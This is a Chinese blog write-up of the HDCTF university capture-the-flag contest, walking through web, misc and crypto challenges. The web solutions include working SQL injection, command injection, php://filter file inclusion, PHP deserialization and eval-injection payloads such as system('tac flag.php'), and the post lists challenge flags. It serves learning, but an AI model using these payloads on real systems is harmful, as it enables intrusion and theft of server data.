前言

国庆档的海南大学的新生赛HDCTF,打得还可以,后面排名是第三还是第四我忘了。感谢海大队伍给我送的明信片和鼠标垫,还有海大战队的贴纸,第一次拿到比赛奖品有点莫名的小激动哈哈。从这次比赛中学到了挺多

比赛地址:http://8.129.15.153:8000/

用户名:我是校外的

正文

web

signin

打开右键源代码,拿去base64

flag

HDCTF{c7ce9f2d891f0ef68ce8c4eec4b92cc3padding}

babysql

从0′ order by 3#可以得出一共三列数据

payload

0' union select null,flag,null from flag#

flag

HDCTF{ACTF_baby_baby_baby_sqllll}

babyrce

老熟悉了

1|cat /flag

flag

HDCTF{ACTF_command_exe_hhhhhh}

easy_git

考的git泄露,githack一把梭

python2 githack.py http://8.129.15.153:20003/

flag

HDCTF{ACTF_.git_leak_is_dangerous}

backup_file

叫找源码,丢进dirsearch里面

python dirsearch.py -u http://8.129.15.153:20004/ -e php

成功找到备份源码

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";

考的弱类型

payload

?key=123

flag

HDCTF{ACTF_D0n'T_FoRGeT_BacKuP_Fi1e}

easy_file_include

考的本地文件包含,直接

?file=php://filter/read=convert.base64-encode/resource=flag.php

读出源码,base64解密

flag

HDCTF{ACTF_Fi1e_InClUdE_Is_EaSy}

do_u_know_HTTP

叫get一个数据

url加上?Hainan_University

叫post一个数据,安排一个

叫加个Mg头,安排

最后的http包

POST /?Hainan_University HTTP/1.1
Host: 8.129.15.153:20006
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cache: no-cache
Origin: moz-extension://51c41745-0394-4e74-897b-260316d951d7
Content-Length: 6
Connection: close
Mg:

HnuSec

flag

HDCTF{U_must_konw_all_kinds_of_network_protocols_such_as_HTTP}

erciyuan

这道题开始部分有点像2019年安洵杯的easy_web

打开是一张图片,已经转化成base64

bp抓包在http头发现hint

Hint: !HDCTF!.php && bin2hex(base64_encode(gzdeflate($file)))

这里可以猜测处理过程为传入一个值然后服务器把这个值解密然后拿去读文件,然后读出来的数据用base64编码然后加个base64头显示在前端,现在又知道了我们要读取!HDCTF!.php这个文件

插入一小段验证过程:

前端这段字符串是3307a4a7a637a544b38684c4277413d

来解密一下

<?php
echo gzinflate(base64_decode(hex2bin("53307a4a7a637a544b38684c4277413d")));
?>

然后得到

思路得证

现在获取!HDCTF!.php的加密值

<?php
    echo bin2hex(base64_encode(gzdeflate("!HDCTF!.php")))."</br>";
    ?>

得到

拿去传参

index.php?img=552f527763513578553951727943674141413d3d

结果什么都没有得到….

没有办法,尝试读一下index.php

<?php 
echo bin2hex(base64_encode(gzdeflate("index.php")))."</br>";

得到

7938784c536133514b38676f4141413d

拿去传参

index.php?img=7938784c536133514b38676f4141413d

拿到了一串base64index.php

拿去解密一下,得到index.php的源码

<?php
error_reporting(0);
if (!function_exists('hex2bin')) {
    function hex2bin($hexdata){
      $bindata = '';
      for ($i=0; $i<strlen($hexdata); $i+=2){
          $bindata .= chr(hexdec(substr($hexdata,$i,2)));
      }
      return $bindata;
    }
}

if(!function_exists('bin2hex')) { 
    function bin2hex($str) { 
        $strl = strlen($str); 
        $fin = ''; 
        for($i =0; $i < $strl; $i++) { 
            $fin .= dechex(ord($str[$i])); 
        } 
        return $fin; 
    }
} 


@header('Hint: !HDCTF!.php && bin2hex(base64_encode(gzdeflate($file)))');
if(!isset($_GET['img']))
    header('Refresh:0;url=./index.php?img=53307a4a7a637a544b38684c4277413d');
$file = gzinflate(base64_decode(hex2bin($_GET['img'])));
echo '<title>HDCTF2nd</title>';
echo '<center><h3>'.$_GET['img'].'</h3>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("HnuSec","!", $file);
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img></center>";

?>

可以看到这里对传值进行解密之后还要用正则表达式匹配,把大小写字母数字和小数点之外的所有字符都置换成空,同时把HnuSec置换成

这里就可以知道为何直接读那个!HDCTF!.php不成功了,因为!被过滤了,但是HnuSec又可以替换成

生成加密值

<?php
    echo bin2hex(base64_encode(gzdeflate("HnuSecHDCTFHnuSec.php")))."</br>";s

得到加密值

payload

index.php?img=383867724455354e396e4278446e487a41445031436a494b41413d3d

成功读出来base64加密的flag

flag

HDCTF{8eb106829505b59a67f3fe5557e777f4}

hash_hmac

打开链接发现这样的提示

$x = $_POST['x'];$y = $_POST['y'];if($x!==$y && hash_hmac('md5', $x, '******')==hash_hmac('md5', $y, '******')){die('flag is in ******.php');}

意思是post两个数据,不能一样但是hash_hmac()要相同,加密密钥不知道

所以想到的是数组加密,因为hash_hmac()对数据加密的返回值是一样的,都是空

所以post两个数据

x[]=1&y[]=2

flag

HDCTF{9416f5bfeb51f5e788f30840a6b1d601} 

welcome

至今想不懂这道题想考什么

随便输入一个,提示密码,然后账号随便给一个,出flag????

flag

HDCTF{55e4abd8f9ec513aef650ea2e79dbc96}

dudaima

直接读代码

<?php 
show_source(__FILE__); 
error_reporting(0); 

include "lib.php"; 

class Just4Fun { 
    public $enter; 
    public $secret; 
} 

if(isset($_GET["pass"])) { 
    $o = unserialize($_GET["pass"]); 

    $o->secret = bin2hex(random_bytes(256)); 

    if ($o->secret === $o->enter){ 
        echo FLAG; 
    }else{ 
        die("secret or enter wrong!"); 
    } 
}else{ 
    die("no pass"); 
}

可以看到要两个成员的值相等

直接上exp

<?php

class just4fun
{
    var $enter;
    var $secret;
    function just4fun2(){
        $this->enter =& $this->secret;
    }
}
$flag = new just4fun();
$flag->just4fun2();

echo serialize($flag);

flag

HDCTF{72595ef46cff90ccb8dd99a177721bc5}

getshell

<?php
$str = $_POST['str'];

if(isset($str)){
    $sp = ",";
    $kv = "=";

    $arr = str_replace(array($kv,$sp),array('"=>"','","'),'array("'.$str.'")');

    eval("\$arr"." = $arr;");

}else{
    show_source(__FILE__);
}

这道题是后面看了wp才做的,其实也不难,那个str_replace的意思是对替换对象按照参数一和参数二形成的一一映射来进行替换的,具体过程可以参考https://www.cnblogs.com/zwww/archive/2011/11/16/2251018.html不过不含有,和=就根本不用管,直接闭合字符串连接的双引号就行

payload

str=");system('tac flag.php');//

flag

HDCTF{17aa1305bbdedaf12d4a1be87cc66d2f}

warmup

打开随便试一下密码发现提示

十六进制转字符换再base64解密得到密码,账号随意

flag

HDCTF{d356c6ba4c6eae7cc5389b8695730ecc}

welcome_to_the_new

打开读代码

<?php 
show_source(__FILE__); 
error_reporting(0); 

Class Stu{ 
    private $name; 
    private $age; 
    private $sex; 
    public $info = 'info.php'; 

    protected function setName($name){ 
        $this->name = $name; 
    } 

    protected function setAge($age){ 
        if(($age>16)&&($age<25)){ 
            $this->age = $age; 
        }else{ 
            return False; 
        } 
    } 

    protected function setSex($sex){ 
        if(($sex==='Man') || ($sex==='Woman')){ 
            $this->sex = $sex; 
        }else{ 
            return False; 
        } 

    } 

    protected function getName(){ 
        return $this->name; 
    } 

    public function __construct($name, $age, $sex){ 
        $this->setName($name); 
        $this->setAge($age); 
        $this->setSex($sex); 
    } 

    public function __destruct(){ 
        include($this->info); 
        Greet($this->getName()); 
    } 
} 

$someone = new Stu('M&G', 20, 'Man'); 

$s = $_GET['Hainan_University']; 

if(isset($s)){ 
    unserialize($s); 
}

一个get输入,然后利用点只有include,可以想到php://filter

exp

<?php 

Class Stu{ 
    private $name; 
    private $age; 
    private $sex; 
    public $info = 'php://filter/read=convert.base64-encode/resource=flag.php'; 


}
$a=new Stu("1",20,"Man");
echo urlencode(serialize($a));

?>

为了避免序列化private属性导致%00无法被复制问题,所以用了urlencode()

payload

?Hainan_University=O%3A3%3A"Stu"%3A4%3A%7Bs%3A9%3A"%00Stu%00name"%3BN%3Bs%3A8%3A"%00Stu%00age"%3BN%3Bs%3A8%3A"%00Stu%00sex"%3BN%3Bs%3A4%3A"info"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B%7D

flag

HDCTF{c1dfbac550a539bb210bc477b8a8da83}

misc

签到题

就复制粘贴

一步之遥

伪加密

你知道lsb是什么意思吗

打开压缩包,是一张图片,把它丢下来放进zsteg跑一下,发现里面有个7zip

然后用stegsolve打开,在r0,g0,b0图层上把数据保存为7z

可以看见一个压缩包,被加密了,但是可以看到前三位和后三位,题目提示还是一个手机号

然后就想掩码爆破。。。无果。。。暴毙了>

后面放了hint,是crc爆破。。怪我太菜没想到>

在python3下写的exp

#coding:utf-8
import binascii
dic=['1','2','3','4','5','6','7','8','9','0']    #各种打印字符
crc = 0x7BA3BB27     # 记得要以0x开头
for i in dic :
    for j in dic:
        for p in dic:
            for q in dic:
                for r in dic:
                    s="131"+i+j+p+q+r+"262"
                    if(crc == (binascii.crc32(s.encode()))):
                        print(s)

结果是这个

flag

HDCTF{13118975262}

### girlfriend

打开是一个流量包,查看可以发现http协议下有一个jpeg传输记录

把jpeg导出 可以发现flag

flag

HDCTF{do_you_want_a_girlfriend}

你真的了解dns吗

直接查txt记录,cmd下查询

nslookup -qt=txt hdctf.0x00.work

flag

HDCTF{Y0u_Kn0w_dNs_W31l}

crypto

起源

直接凯撒

flag

HDCTF{crypto_is_so_easy}

围住世界

5位w型栅栏

flag

HDCTF{TheFenceIsSoFunny}

有趣起来了

题目就是一串编码

swxgu{nlivrmgvivhgrmtxlwv}

找一下规律发现前面五个和hdctf有一点规律,比如s和h的ascii码相加等于219,w和d的ascii相加也是219,其他也一样

a='swxgu{nlivrmgvivhgrmtxlwv}'
text=""
for i in a:
    text=text+chr(219-ord(i))
print(text)

flag

hdctf{moreinterestingcode}

奇怪的贝斯

考察的base64换表加解密

nc连上去

给了密文然后让你输入数据,它通过自定义的base64表给出加密结果

所以思路是得到base64表

还是太菜了写的exp有点麻烦要自己不断收集标准表加密的密文和nc返回的自定义表加密的密文

#include <stdio.h>
int main(){
    char dicold[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    char dicnew[64]="";
    char base64old[400]="";
    char base64new[400]="";
    char t;
    int i=0;
    int j=0;
    int jilu=0;
    printf("old:\n");
    fflush(stdin);
    gets(base64old); 
    fflush(stdin);
    printf("new:\n");
    fflush(stdin);
    gets(base64new); 
    fflush(stdin);
    while(base64old[i]!='\0')
    {
        for(jilu=0;jilu<64;jilu++)
        {

            if(dicold[jilu]==base64old[i])
            {
                j=jilu;
                break;
            }
        }
        dicnew[j]=base64new[i];
        i+=1;
    }
    for(jilu=0;jilu<64;jilu++)
    {
        if(dicnew[jilu]!='\0')
            printf("%d:%c\n",jilu,dicnew[jilu]);
    }

    return 0;
} 

最后得出并不十分完整的base64表

HnusecWiN/gamoUS207ObdfhjklpqrtvABDEJKLMPQRTVC1T9+FwGxyz34TYZ56T

换表解密的exp

import base64
import string

str1 = "7e0sdekYksb3kf0DosqCmObxU7GGosmGafcJjf2CjEA9UsmwjwkKmObwv2P="

string1 = "HnusecWiN/gamoUS207ObdfhjklpqrtvABDEJKLMPQRTVC1T9+FwGxyz34TYZ56T"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

最后跑出flag

flag

HDCTF{d58edb47-1559-4434-adad-b80833c6e153}
说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...